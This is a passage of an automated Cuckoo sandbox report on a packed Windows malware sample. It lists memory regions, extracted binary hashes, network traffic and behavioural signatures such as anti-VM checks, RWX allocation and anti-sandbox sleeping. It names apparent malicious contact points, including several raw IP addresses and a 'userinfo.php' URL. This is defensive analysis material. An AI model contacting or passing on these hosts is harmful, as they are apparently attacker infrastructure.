otect":"rw","end":"0x74f03000","addr":"0x74f02000","state":4096,"offset":16500832,"type":16777
216,"size":4096},{"protect":"r","end":"0x74f07000","addr":"0x74f03000","state":4096,"offset":165
04952,"type":16777216,"size":16384},{"protect":"r","end":"0x74f61000","addr":"0x74f60000","sta
te":4096,"offset":16521360,"type":16777216,"size":4096},{"protect":"rx","end":"0x74fe4000","add
r":"0x74f61000","state":4096,"offset":16525480,"type":16777216,"size":536576},{"protect":"rw","
end":"0x74fe5000","addr":"0x74fe4000","state":4096,"offset":17062080,"type":16777216,"size":4
096},{"protect":"rwc","end":"0x74fe6000","addr":"0x74fe5000","state":4096,"offset":17066200,"ty
pe":16777216,"size":4096},{"protect":"r","end":"0x7502c000","addr":"0x74fe6000","state":4096,"
offset":17070320,"type":16777216,"size":286720},{"protect":"r","end":"0x75031000","addr":"0x75
030000","state":4096,"offset":17357064,"type":16777216,"size":4096},{"protect":"rx","end":"0x75
176000","addr":"0x75031000","state":4096,"offset":17361184,"type":16777216,"size":1331200},{
"protect":"rw","end":"0x7517a000","addr":"0x75176000","state":4096,"offset":18692408,"type":1
6777216,"size":16384},{"protect":"r","end":"0x7518c000","addr":"0x7517a000","state":4096,"offs
et":18708816,"type":16777216,"size":73728},{"protect":"r","end":"0x75191000","addr":"0x75190
000","state":4096,"offset":18782568,"type":16777216,"size":4096},{"protect":"rx","end":"0x7520d
000","addr":"0x751a0000","state":4096,"offset":18786688,"type":16777216,"size":446464},{"prot
ect":"rw","end":"0x75211000","addr":"0x75210000","state":4096,"offset":19233176,"type":16777
216,"size":4096},{"protect":"r","end":"0x7527b000","addr":"0x75220000","state":4096,"offset":19
237296,"type":16777216,"size":372736},{"protect":"r","end":"0x75284000","addr":"0x75280000",
"state":4096,"offset":19610056,"type":16777216,"size":16384},{"protect":"r","end":"0x75291000",
"addr":"0x75290000","state":4096,"offset":19626464,"type":16777216,"size":4096},{"protect":"rx"
,"end":"0x75330000","addr":"0x75291000","state":4096,"offset":19630584,"type":16777216,"size
":651264},{"protect":"rw","end":"0x75331000","addr":"0x75330000","state":4096,"offset":202818
72,"type":16777216,"size":4096},{"protect":"rwc","end":"0x75332000","addr":"0x75331000","stat
e":4096,"offset":20285992,"type":16777216,"size":4096},{"protect":"rw","end":"0x75334000","ad
dr":"0x75332000","state":4096,"offset":20290112,"type":16777216,"size":8192},{"protect":"rwc","
end":"0x75337000","addr":"0x75334000","state":4096,"offset":20298328,"type":16777216,"size":
12288},{"protect":"r","end":"0x7533c000","addr":"0x75337000","state":4096,"offset":20310640,"t
```

```
ype":16777216,"size":20480},{"protect":"r","end":"0x75401000","addr":"0x75400000","state":409
6,"offset":20331144,"type":16777216,"size":4096},{"protect":"rx","end":"0x7557e000","addr":"0x7
5401000","state":4096,"offset":20335264,"type":16777216,"size":1560576},{"protect":"rw","end":
"0x75582000","addr":"0x7557e000","state":4096,"offset":21895864,"type":16777216,"size":1638
4},{"protect":"rwc","end":"0x75586000","addr":"0x75582000","state":4096,"offset":21912272,"typ
e":16777216,"size":16384},{"protect":"r","end":"0x755c4000","addr":"0x75586000","state":4096,"
offset":21928680,"type":16777216,"size":253952},{"protect":"r","end":"0x755d1000","addr":"0x75
5d0000","state":4096,"offset":22182656,"type":16777216,"size":4096},{"protect":"rx","end":"0x75
676000","addr":"0x755e0000","state":4096,"offset":22186776,"type":16777216,"size":614400},{"
protect":"rx","end":"0x75683000","addr":"0x75680000","state":4096,"offset":22801200,"type":167
77216,"size":12288},{"protect":"rw","end":"0x75691000","addr":"0x75690000","state":4096,"offse
t":22813512,"type":16777216,"size":4096},{"protect":"r","end":"0x756a4000","addr":"0x756a000
0","state":4096,"offset":22817632,"type":16777216,"size":16384},{"protect":"r","end":"0x756b500
0","addr":"0x756b0000","state":4096,"offset":22834040,"type":16777216,"size":20480},{"protect"
:"r","end":"0x75711000","addr":"0x75710000","state":4096,"offset":22854544,"type":16777216,"s
ize":4096},{"protect":"rx","end":"0x75788000","addr":"0x75711000","state":4096,"offset":228586
64,"type":16777216,"size":487424},{"protect":"rw","end":"0x7578a000","addr":"0x75788000","sta
te":4096,"offset":23346112,"type":16777216,"size":8192},{"protect":"rwc","end":"0x7578c000","a
ddr":"0x7578a000","state":4096,"offset":23354328,"type":16777216,"size":8192},{"protect":"r","e
nd":"0x75793000","addr":"0x7578c000","state":4096,"offset":23362544,"type":16777216,"size":2
8672},{"protect":"r","end":"0x75821000","addr":"0x75820000","state":4096,"offset":23391240,"ty
pe":16777216,"size":4096},{"protect":"rx","end":"0x75827000","addr":"0x75821000","state":4096
,"offset":23395360,"type":16777216,"size":24576},{"protect":"rw","end":"0x75828000","addr":"0x
75827000","state":4096,"offset":23419960,"type":16777216,"size":4096},{"protect":"r","end":"0x7
582a000","addr":"0x75828000","state":4096,"offset":23424080,"type":16777216,"size":8192},{"p
rotect":"r","end":"0x75831000","addr":"0x75830000","state":4096,"offset":23432296,"type":1677
7216,"size":4096},{"protect":"rx","end":"0x75a17000","addr":"0x75831000","state":4096,"offset":
23436416,"type":16777216,"size":1990656},{"protect":"rw","end":"0x75a1c000","addr":"0x75a17
000","state":4096,"offset":25427096,"type":16777216,"size":20480},{"protect":"r","end":"0x75a45
000","addr":"0x75a1c000","state":4096,"offset":25447600,"type":16777216,"size":167936},{"prot
ect":"r","end":"0x75a51000","addr":"0x75a50000","state":4096,"offset":25615560,"type":1677721
6,"size":4096},{"protect":"rx","end":"0x75a52000","addr":"0x75a51000","state":4096,"offset":256
19680,"type":16777216,"size":4096},{"protect":"r","end":"0x75a54000","addr":"0x75a52000","sta
te":4096,"offset":25623800,"type":16777216,"size":8192},{"protect":"r","end":"0x75a61000","add
r":"0x75a60000","state":4096,"offset":25632016,"type":16777216,"size":4096},{"protect":"rx","en
d":"0x75a87000","addr":"0x75a61000","state":4096,"offset":25636136,"type":16777216,"size":15
5648},{"protect":"rw","end":"0x75a88000","addr":"0x75a87000","state":4096,"offset":25791808,"t
ype":16777216,"size":4096},{"protect":"r","end":"0x75a95000","addr":"0x75a88000","state":4096
,"offset":25795928,"type":16777216,"size":53248},{"protect":"r","end":"0x75aa1000","addr":"0x7
5aa0000","state":4096,"offset":25849200,"type":16777216,"size":4096},{"protect":"rx","end":"0x7
5aa2000","addr":"0x75aa1000","state":4096,"offset":25853320,"type":16777216,"size":4096},{"p
rotect":"r","end":"0x75aa4000","addr":"0x75aa2000","state":4096,"offset":25857440,"type":1677
7216,"size":8192},{"protect":"r","end":"0x75ac0000","addr":"0x75ab0000","state":4096,"offset":2
5865656,"type":16777216,"size":65536},{"protect":"rx","end":"0x75b81000","addr":"0x75ac0000"
,"state":4096,"offset":25931216,"type":16777216,"size":790528},{"protect":"rw","end":"0x75b910
00","addr":"0x75b90000","state":4096,"offset":26721768,"type":16777216,"size":4096},{"protect"
:"rwc","end":"0x75b92000","addr":"0x75b91000","state":4096,"offset":26725888,"type":1677721
6,"size":4096},{"protect":"r","end":"0x75ba1000","addr":"0x75ba0000","state":4096,"offset":2673
0008,"type":16777216,"size":4096},{"protect":"r","end":"0x75bbb000","addr":"0x75bb0000","stat
e":4096,"offset":26734128,"type":16777216,"size":45056},{"protect":"r","end":"0x75bc1000","add
```

```
r":"0x75bc0000","state":4096,"offset":26779208,"type":16777216,"size":4096},{"protect":"rx","en
d":"0x75bc3000","addr":"0x75bc1000","state":4096,"offset":26783328,"type":16777216,"size":81
92},{"protect":"r","end":"0x75bc4000","addr":"0x75bc3000","state":4096,"offset":26791544,"type"
:16777216,"size":4096},{"protect":"r","end":"0x75bd1000","addr":"0x75bd0000","state":4096,"off
set":26795664,"type":16777216,"size":4096},{"protect":"rx","end":"0x75c29000","addr":"0x75be0
000","state":4096,"offset":26799784,"type":16777216,"size":299008},{"protect":"rw","end":"0x75
c31000","addr":"0x75c30000","state":4096,"offset":27098816,"type":16777216,"size":4096},{"pro
tect":"r","end":"0x75c41000","addr":"0x75c40000","state":4096,"offset":27102936,"type":167772
16,"size":4096},{"protect":"r","end":"0x75c52000","addr":"0x75c50000","state":4096,"offset":271
07056,"type":16777216,"size":8192},{"protect":"r","end":"0x75c61000","addr":"0x75c60000","stat
e":4096,"offset":27115272,"type":16777216,"size":4096},{"protect":"rx","end":"0x75ca1000","add
r":"0x75c61000","state":4096,"offset":27119392,"type":16777216,"size":262144},{"protect":"rw","
end":"0x75ca3000","addr":"0x75ca1000","state":4096,"offset":27381560,"type":16777216,"size":
8192},{"protect":"r","end":"0x75ca7000","addr":"0x75ca3000","state":4096,"offset":27389776,"ty
pe":16777216,"size":16384},{"protect":"r","end":"0x75e51000","addr":"0x75e50000","state":4096
,"offset":27406184,"type":16777216,"size":4096},{"protect":"rx","end":"0x75e53000","addr":"0x75
e51000","state":4096,"offset":27410304,"type":16777216,"size":8192},{"protect":"rw","end":"0x7
5e54000","addr":"0x75e53000","state":4096,"offset":27418520,"type":16777216,"size":4096},{"p
rotect":"r","end":"0x75e56000","addr":"0x75e54000","state":4096,"offset":27422640,"type":1677
7216,"size":8192},{"protect":"r","end":"0x75e61000","addr":"0x75e60000","state":4096,"offset":2
7430856,"type":16777216,"size":4096},{"protect":"rx","end":"0x7622a000","addr":"0x75e61000",
"state":4096,"offset":27434976,"type":16777216,"size":3969024},{"protect":"rw","end":"0x7622e0
00","addr":"0x7622a000","state":4096,"offset":31404024,"type":16777216,"size":16384},{"protec
t":"rwc","end":"0x76231000","addr":"0x7622e000","state":4096,"offset":31420432,"type":167772
16,"size":12288},{"protect":"r","end":"0x76aaa000","addr":"0x76231000","state":4096,"offset":31
432744,"type":16777216,"size":8884224},{"protect":"r","end":"0x76ab1000","addr":"0x76ab0000
","state":4096,"offset":40316992,"type":16777216,"size":4096},{"protect":"rx","end":"0x76b36000
","addr":"0x76ab1000","state":4096,"offset":40321112,"type":16777216,"size":544768},{"protect"
:"rw","end":"0x76b38000","addr":"0x76b36000","state":4096,"offset":40865904,"type":16777216,
"size":8192},{"protect":"r","end":"0x76b3f000","addr":"0x76b38000","state":4096,"offset":408741
20,"type":16777216,"size":28672},{"protect":"r","end":"0x76b41000","addr":"0x76b40000","state"
:4096,"offset":40902816,"type":16777216,"size":4096},{"protect":"rx","end":"0x76bfd000","addr":
"0x76b41000","state":4096,"offset":40906936,"type":16777216,"size":770048},{"protect":"rw","en
d":"0x76bff000","addr":"0x76bfd000","state":4096,"offset":41677008,"type":16777216,"size":819
2},{"protect":"rwc","end":"0x76c07000","addr":"0x76bff000","state":4096,"offset":41685224,"type
":16777216,"size":32768},{"protect":"r","end":"0x76c64000","addr":"0x76c07000","state":4096,"o
ffset":41718016,"type":16777216,"size":380928},{"protect":"r","end":"0x76c71000","addr":"0x76c
70000","state":4096,"offset":42098968,"type":16777216,"size":4096},{"protect":"rx","end":"0x76c
97000","addr":"0x76c80000","state":4096,"offset":42103088,"type":16777216,"size":94208},{"pr
otect":"rw","end":"0x76ca1000","addr":"0x76ca0000","state":4096,"offset":42197320,"type":1677
7216,"size":4096},{"protect":"r","end":"0x76cb5000","addr":"0x76cb0000","state":4096,"offset":4
2201440,"type":16777216,"size":20480},{"protect":"r","end":"0x76cc1000","addr":"0x76cc0000","
state":4096,"offset":42221944,"type":16777216,"size":4096},{"protect":"r","end":"0x76cd1000","a
ddr":"0x76cd0000","state":4096,"offset":42226064,"type":16777216,"size":4096},{"protect":"rx","
end":"0x76d2c000","addr":"0x76cd1000","state":4096,"offset":42230184,"type":16777216,"size":
372736},{"protect":"rw","end":"0x76d2e000","addr":"0x76d2c000","state":4096,"offset":42602944
,"type":16777216,"size":8192},{"protect":"r","end":"0x76d6d000","addr":"0x76d2e000","state":40
96,"offset":42611160,"type":16777216,"size":258048},{"protect":"r","end":"0x76e11000","addr":"
0x76e10000","state":4096,"offset":42869232,"type":16777216,"size":4096},{"protect":"rx","end":"
0x76e83000","addr":"0x76e11000","state":4096,"offset":42873352,"type":16777216,"size":4669
```

44},{"protect":"rw","end":"0x76e86000","addr":"0x76e83000","state":4096,"offset":43340320,"typ
e":16777216,"size":12288},{"protect":"rwc","end":"0x76e87000","addr":"0x76e86000","state":409
6,"offset":43352632,"type":16777216,"size":4096},{"protect":"r","end":"0x76eb0000","addr":"0x7
6e87000","state":4096,"offset":43356752,"type":16777216,"size":167936},{"protect":"r","end":"0x
76eb1000","addr":"0x76eb0000","state":4096,"offset":43524712,"type":16777216,"size":4096},{"
protect":"rx","end":"0x76eb4000","addr":"0x76eb1000","state":4096,"offset":43528832,"type":167
77216,"size":12288},{"protect":"r","end":"0x76eb5000","addr":"0x76eb4000","state":4096,"offset"
:43541144,"type":16777216,"size":4096},{"protect":"r","end":"0x76fe1000","addr":"0x76fe0000","
state":4096,"offset":43545264,"type":16777216,"size":4096},{"protect":"rx","end":"0x76ff4000","a
ddr":"0x76fe1000","state":4096,"offset":43549384,"type":16777216,"size":77824},{"protect":"rw",
"end":"0x76ff5000","addr":"0x76ff4000","state":4096,"offset":43627232,"type":16777216,"size":4
096},{"protect":"rwc","end":"0x76ff7000","addr":"0x76ff5000","state":4096,"offset":43631352,"typ
e":16777216,"size":8192},{"protect":"r","end":"0x76ff9000","addr":"0x76ff7000","state":4096,"offs
et":43639568,"type":16777216,"size":8192},{"protect":"r","end":"0x77001000","addr":"0x770000
00","state":4096,"offset":43647784,"type":16777216,"size":4096},{"protect":"rx","end":"0x770020
00","addr":"0x77001000","state":4096,"offset":43651904,"type":16777216,"size":4096},{"protect"
:"rw","end":"0x77003000","addr":"0x77002000","state":4096,"offset":43656024,"type":16777216,
"size":4096},{"protect":"r","end":"0x77005000","addr":"0x77003000","state":4096,"offset":436601
44,"type":16777216,"size":8192},{"protect":"r","end":"0x77011000","addr":"0x77010000","state":
4096,"offset":43668360,"type":16777216,"size":4096},{"protect":"rx","end":"0x77012000","addr":
"0x77011000","state":4096,"offset":43672480,"type":16777216,"size":4096},{"protect":"r","end":"
0x77014000","addr":"0x77012000","state":4096,"offset":43676600,"type":16777216,"size":8192}
,{"protect":"r","end":"0x77023000","addr":"0x77020000","state":4096,"offset":43684816,"type":16
777216,"size":12288},{"protect":"r","end":"0x77251000","addr":"0x77250000","state":4096,"offse
t":43697128,"type":16777216,"size":4096},{"protect":"rx","end":"0x77353000","addr":"0x7725100
0","state":4096,"offset":43701248,"type":16777216,"size":1056768},{"protect":"r","end":"0x77382
000","addr":"0x77353000","state":4096,"offset":44758040,"type":16777216,"size":192512},{"prot
ect":"rw","end":"0x77383000","addr":"0x77382000","state":4096,"offset":44950576,"type":16777
216,"size":4096},{"protect":"rwc","end":"0x77384000","addr":"0x77383000","state":4096,"offset":
44954696,"type":16777216,"size":4096},{"protect":"rw","end":"0x77385000","addr":"0x77384000
","state":4096,"offset":44958816,"type":16777216,"size":4096},{"protect":"rwc","end":"0x773870
00","addr":"0x77385000","state":4096,"offset":44962936,"type":16777216,"size":8192},{"protect"
:"rw","end":"0x77388000","addr":"0x77387000","state":4096,"offset":44971152,"type":16777216,
"size":4096},{"protect":"rwc","end":"0x77389000","addr":"0x77388000","state":4096,"offset":4497
5272,"type":16777216,"size":4096},{"protect":"rw","end":"0x7738b000","addr":"0x77389000","sta
te":4096,"offset":44979392,"type":16777216,"size":8192},{"protect":"rwc","end":"0x7738e000","a
ddr":"0x7738b000","state":4096,"offset":44987608,"type":16777216,"size":12288},{"protect":"r","
end":"0x773f9000","addr":"0x7738e000","state":4096,"offset":44999920,"type":16777216,"size":
438272},{"protect":"r","end":"0x77401000","addr":"0x77400000","state":4096,"offset":45438216,"
type":16777216,"size":4096},{"protect":"rx","end":"0x77402000","addr":"0x77401000","state":409
6,"offset":45442336,"type":16777216,"size":4096},{"protect":"r","end":"0x77403000","addr":"0x7
7402000","state":4096,"offset":45446456,"type":16777216,"size":4096},{"protect":"r","end":"0x77
431000","addr":"0x77430000","state":4096,"offset":45450576,"type":16777216,"size":4096},{"pr
otect":"rx","end":"0x77516000","addr":"0x77440000","state":4096,"offset":45454696,"type":1677
7216,"size":876544},{"protect":"rx","end":"0x77521000","addr":"0x77520000","state":4096,"offset
":46331264,"type":16777216,"size":4096},{"protect":"rw","end":"0x77531000","addr":"0x7753000
0","state":4096,"offset":46335384,"type":16777216,"size":4096},{"protect":"r","end":"0x77532000
","addr":"0x77531000","state":4096,"offset":46339504,"type":16777216,"size":4096},{"protect":"r
w","end":"0x77533000","addr":"0x77532000","state":4096,"offset":46343624,"type":16777216,"si
ze":4096},{"protect":"rwc","end":"0x77534000","addr":"0x77533000","state":4096,"offset":463477

```
44,"type":16777216,"size":4096},{"protect":"rw","end":"0x77537000","addr":"0x77534000","state
":4096,"offset":46351864,"type":16777216,"size":12288},{"protect":"rwc","end":"0x77539000","a
ddr":"0x77537000","state":4096,"offset":46364176,"type":16777216,"size":8192},{"protect":"r","e
nd":"0x77597000","addr":"0x77540000","state":4096,"offset":46372392,"type":16777216,"size":3
56352},{"protect":"r","end":"0x775a5000","addr":"0x775a0000","state":4096,"offset":46728768,"t
ype":16777216,"size":20480},{"protect":"rw","end":"0x7efa1000","addr":"0x7ef9e000","state":409
6,"offset":46749272,"type":131072,"size":12288},{"protect":"rw","end":"0x7efa4000","addr":"0x7e
fa1000","state":4096,"offset":46761584,"type":131072,"size":12288},{"protect":"rw","end":"0x7ef
aa000","addr":"0x7efa7000","state":4096,"offset":46773896,"type":131072,"size":12288},{"prote
ct":"rw","end":"0x7efad000","addr":"0x7efaa000","state":4096,"offset":46786208,"type":131072,"
size":12288},{"protect":"rw","end":"0x7efb0000","addr":"0x7efad000","state":4096,"offset":46798
520,"type":131072,"size":12288},{"protect":"r","end":"0x7efd3000","addr":"0x7efb0000","state":4
096,"offset":46810832,"type":262144,"size":143360},{"protect":"rw","end":"0x7efd8000","addr":"0
x7efd5000","state":4096,"offset":46954216,"type":131072,"size":12288},{"protect":"rw","end":"0x
7efdb000","addr":"0x7efd8000","state":4096,"offset":46966528,"type":131072,"size":12288},{"pr
otect":"rw","end":"0x7efde000","addr":"0x7efdb000","state":4096,"offset":46978840,"type":13107
2,"size":12288},{"protect":"rw","end":"0x7efdf000","addr":"0x7efde000","state":4096,"offset":469
91152,"type":131072,"size":4096},{"protect":"rw","end":"0x7efe0000","addr":"0x7efdf000","state"
:4096,"offset":46995272,"type":131072,"size":4096},{"protect":"r","end":"0x7efe5000","addr":"0x
7efe0000","state":4096,"offset":46999392,"type":262144,"size":20480},{"protect":"r","end":"0x7ff
e1000","addr":"0x7ffe0000","state":4096,"offset":47019896,"type":131072,"size":4096}],"yara":[],
"num":1,"file":"/home/nullblocks/.cuckoo/storage/analyses/22/memory/2276-
1.dmp","urls":["http://176.53.21.105/userinfo.php","http://purl.org/rss/1.0/","https://iecvlist.micros
oft.com/IE11/1379465767093/iecompatviewlist.xml","http://www.passport.com","http://test.com",
"http://www.microsoft.com/isapi/redir.dll?prd=ie"],"extracted":[{"yara":[],"sha1":"aa3d39c3d8f50f0
adb3179d441b32cb05b8100fc","name":"2276-aa3d39c3d8f50f0a.exe_","type":"PE32
executable (GUI) Intel 80386, for MS
Windows","sha256":"98938851da0a1eb3ea14c9f3fec0d509cb339f13729b54b0960589f02c9123
15","urls":[],"crc32":"58722A0E","path":"/home/nullblocks/.cuckoo/storage/analyses/22/memory/
2276-
aa3d39c3d8f50f0a.exe_","ssdeep":null,"size":135168,"sha512":"105d296c670c3ddc1ecb3f8c1f
05c50d3dcc8ca0dcee83d12a74fa2b158dfc237456d0001d14cf162eedeb6f3085a1483d534abf7
464c9827ef403d08b9e988f","md5":"4b329f65594ae015635fc1e58bcdb692"},{"yara":[],"sha1":"7
c495387151c86ae5bde02299ed44da3df0d3f37","name":"2276-
7c495387151c86ae.exe_","type":"PE32 executable (GUI) Intel 80386, for MS
Windows","sha256":"3dad9d12b5c7ee00ce34fa59e4bf14bc6de28840bd91369378819cfd3119a
ce3","urls":[],"crc32":"A2DDC360","path":"/home/nullblocks/.cuckoo/storage/analyses/22/memor
y/2276-
7c495387151c86ae.exe_","ssdeep":null,"size":241664,"sha512":"b22262f0e2dc612973e2da5a7
d8624d987e213df3981058340be731282f638ebd215278eaebea75eb3bc86ecd23a684694b9e6
edb90830cf40c71291bd9f625a","md5":"8e9c7f318924e71416b07a66194defb9"}],"pid":2276}],"t
arget":{"category":"file","file":{"yara":[],"sha1":"522800509e3acf6cd78b545ada964b06f156e96e",
"name":"VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","type":"PE32 executable
(GUI) Intel 80386, for MS
Windows","sha256":"8b6ef43af451d15f62a605925afcd8969cb8b7b24ebd4ff4c73369e8978a2a9
d","urls":[],"crc32":"D84A308A","path":"/home/nullblocks/.cuckoo/storage/binaries/8b6ef43af451
d15f62a605925afcd8969cb8b7b24ebd4ff4c73369e8978a2a9d","ssdeep":null,"size":184320,"sh
a512":"05d3a565a3dc628db9b2b93423267a0e8add51e5234e925f9e9e02d512160bb499dcdfe
d3c03bb92cc413f9b9ae4e646e3eb5ff5582da9206d4e8d8c3217340c","md5":"00a0f5fe1ba0102
ed789b2aa85c3e316"}},"buffer":[{"yara":[],"sha1":"da2b9ba34c4099cc88890f06d48791eda5007
```

```
3bb","name":"da2b9ba34c4099cc88890f06d48791eda50073bb","type":"PE32 executable (GUI)
Intel 80386, for MS
Windows","sha256":"cb4a502caf37f36ff9b8a5ed6764013799535f8eef1d9067a906fa0a99bd985
3","urls":[],"crc32":"512D8BD3","path":"/home/nullblocks/.cuckoo/storage/analyses/22/buffer/da2
b9ba34c4099cc88890f06d48791eda50073bb","ssdeep":null,"size":113152,"sha512":"1fde505a
e8377165eb7aa3110a11b6b0de605a5e2b7151c554685d1d7434d93dc8df03bd00d0984f9218d
b192748b554dfb91659f2c5ffc5f3151d758ba10d03","md5":"ba0c49a432b84a6027f7873a33e01
7eb"}],"network":{"tls":[],"udp":[{"src":"192.168.56.101","dst":"192.168.56.255","offset":1958,"tim
e":4.293731927871704,"dport":137,"sport":137},{"src":"192.168.56.101","dst":"192.168.56.255",
"offset":9302,"time":7.351489067077637,"dport":138,"sport":138},{"src":"192.168.56.101","dst":"
224.0.0.252","offset":17886,"time":2.2289860248565674,"dport":5355,"sport":54846},{"src":"192
.168.56.101","dst":"224.0.0.252","offset":18206,"time":2.8319530487060547,"dport":5355,"sport
":55763},{"src":"192.168.56.101","dst":"224.0.0.252","offset":18534,"time":4.230731010437012,"
dport":5355,"sport":59111},{"src":"192.168.56.101","dst":"224.0.0.252","offset":18854,"time":4.23
1065988540649,"dport":5355,"sport":63254},{"src":"192.168.56.101","dst":"224.0.0.252","offset":
19182,"time":4.2089550495147705,"dport":5355,"sport":64975},{"src":"192.168.56.101","dst":"2
39.255.255.250","offset":19502,"time":72.16148686408997,"dport":1900,"sport":54133},{"src":"1
92.168.56.101","dst":"8.8.8.8","offset":22036,"time":6.659857988357544,"dport":53,"sport":5017
8},{"src":"192.168.56.101","dst":"8.8.8.8","offset":22496,"time":4.192569017410278,"dport":53,"s
port":53523},{"src":"192.168.56.101","dst":"8.8.8.8","offset":22956,"time":36.29732394218445,"d
port":53,"sport":54130},{"src":"192.168.56.101","dst":"8.8.8.8","offset":23461,"time":16.19653105
7357788,"dport":53,"sport":59252},{"src":"192.168.56.101","dst":"8.8.8.8","offset":23921,"time":1
.744826078414917,"dport":53,"sport":60851},{"src":"192.168.56.101","dst":"8.8.8.8","offset":240
22,"time":6.7641990184783936,"dport":53,"sport":62605},{"src":"192.168.56.101","dst":"8.8.8.8",
"offset":24482,"time":5.758641004562378,"dport":53,"sport":63160}],"dns_servers":["8.8.8.8"],"h
ttp":[],"icmp":[],"smtp":[],"tcp":[],"smtp_ex":[],"mitm":[],"hosts":["107.181.174.15","176.53.21.105",
"217.12.199.151","31.184.197.72","8.8.8.8","92.222.71.26","93.170.169.52"],"pcap_sha256":"4c
c9a5212410092ab17ec0ddfb27572004e900587cd0d3d188e0c690881e866c","dns":[{"type":"A",
"request":"time.windows.com","answers":[]},{"type":"A","request":"www.msftncsi.com","answers"
:[]},{"type":"A","request":"dns.msftncsi.com","answers":[]},{"type":"A","request":"teredo.ipv6.micro
soft.com","answers":[]}],"http_ex":[],"domains":[{"ip":"131.107.255.255","domain":"dns.msftncsi.c
om"},{"ip":"","domain":"teredo.ipv6.microsoft.com"},{"ip":"23.58.95.152","domain":"www.msftncsi.
com"}],"dead_hosts":[["93.170.169.52",80],["217.12.199.151",80],["31.184.197.72",80],["92.222.
71.26",80],["176.53.21.105",80],["107.181.174.15",80]],"sorted_pcap_sha256":"75a5b5b18e8d1
0aec759a720e8ef7be69c5cf00dfc94a36b0ef6b75fac8e63ea","irc":[],"https_ex":[]},"signatures":[{
"families":[],"description":"Checks amount of memory in system, this can be used to detect
virtual machines that have a low amount of memory
available","severity":1,"ttp":{"T1082":{"short":"System Information Discovery","long":"An
adversary may attempt to get detailed information about the operating system and hardware,
including version, patches, hotfixes, service packs, and
architecture."}},"markcount":1,"references":[],"marks":[{"call":{"category":"system","status":1,"sta
cktrace":[],"api":"GlobalMemoryStatusEx","return_value":1,"arguments":{},"time":1700322041.25
,"tid":2280,"flags":{}},"pid":2276,"type":"call","cid":291}],"name":"antivm_memory_available"},{"fa
milies":[],"description":"One or more potentially interesting buffers were extracted, these
generally contain injected code, configuration data,
etc.","severity":2,"ttp":{},"markcount":0,"references":[],"marks":[],"name":"dumped_buffer"},{"famil
ies":[],"description":"Allocates read-write-execute memory (usually to unpack
itself)","severity":2,"ttp":{},"markcount":7,"references":[],"marks":[{"call":{"category":"process","sta
tus":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"process_ide
ntifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":8192,"prote
```

ction":64,"process_handle":"0xffffffff","base_address":"0x00903000"},"time":1700322038.094,"ti
d":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE"}},"pid":2276,"type":"call","cid":2},
{"call":{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_val
ue":0,"arguments":{"process_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_p
ivoted":0,"heap_dep_bypass":0,"protection":64,"process_handle":"0xffffffff","allocation_type":12
288,"base_address":"0x00320000"},"time":1700322041.094,"tid":2280,"flags":{"protection":"PA
GE_EXECUTE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RESERVE"}},"pid":227
6,"type":"call","cid":12},{"call":{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtu
alMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stac
k_pivoted":0,"heap_dep_bypass":0,"length":241664,"protection":64,"process_handle":"0xffffffff","
base_address":"0x008f0000"},"time":1700322041.109,"tid":2280,"flags":{"protection":"PAGE_EX
ECUTE_READWRITE"}},"pid":2276,"type":"call","cid":23},{"call":{"category":"process","status":1,
"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier
":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"prote
ction":64,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x00360000"},"ti
me":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE","allocati
on_type":"MEM_COMMIT|MEM_RESERVE"}},"pid":2276,"type":"call","cid":223},{"call":{"categor
y":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"argument
s":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"len
gth":4096,"protection":64,"process_handle":"0xffffffff","base_address":"0x7744f000"},"time":170
0322041.219,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE"}},"pid":2276,"typ
e":"call","cid":224},{"call":{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualM
emory","return_value":0,"arguments":{"process_identifier":2276,"region_size":135168,"stack_de
p_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":64,"process_handle":"0xffffffff"
,"allocation_type":12288,"base_address":"0x00380000"},"time":1700322041.219,"tid":2280,"flag
s":{"protection":"PAGE_EXECUTE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RE
SERVE"}},"pid":2276,"type":"call","cid":226},{"call":{"category":"process","status":1,"stacktrace":[]
,"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_
dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":135168,"protection":64,"proces
s_handle":"0xffffffff","base_address":"0x008f0000"},"time":1700322041.219,"tid":2280,"flags":{"p
rotection":"PAGE_EXECUTE_READWRITE"}},"pid":2276,"type":"call","cid":227}],"name":"allocat
es_rwx"},{"families":[],"description":"A process attempted to delay the analysis
task.","severity":2,"ttp":{},"markcount":1,"references":[],"marks":[{"type":"generic","description":"V
irusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe tried to sleep 137 seconds, actually
delayed analysis time by 60
seconds"}],"name":"antisandbox_sleep"},{"families":[],"description":"The binary likely contains
encrypted or compressed data indicative of a
packer","severity":2,"ttp":{"T1045":{"short":"Software Packing","long":"Software packing is a
method of compressing or encrypting an executable. Packing an executable changes the file
signature in an attempt to avoid signature-based detection. Most decompression techniques
decompress the executable code in
memory."}},"markcount":3,"references":["http://www.forensickb.com/2013/03/file-entropy-
explained.html","http://virii.es/U/Using%20Entropy%20Analysis%20to%20Find%20Encrypted%2
0and%20Packed%20Malware.pdf"],"marks":[{"entropy":7.128585972180398,"section":{"size_of
_data":"0x00011000","virtual_address":"0x00001000","entropy":7.128585972180398,"name":".t
ext","virtual_size":"0x00010f42"},"type":"generic","description":"A section with a high entropy has
been
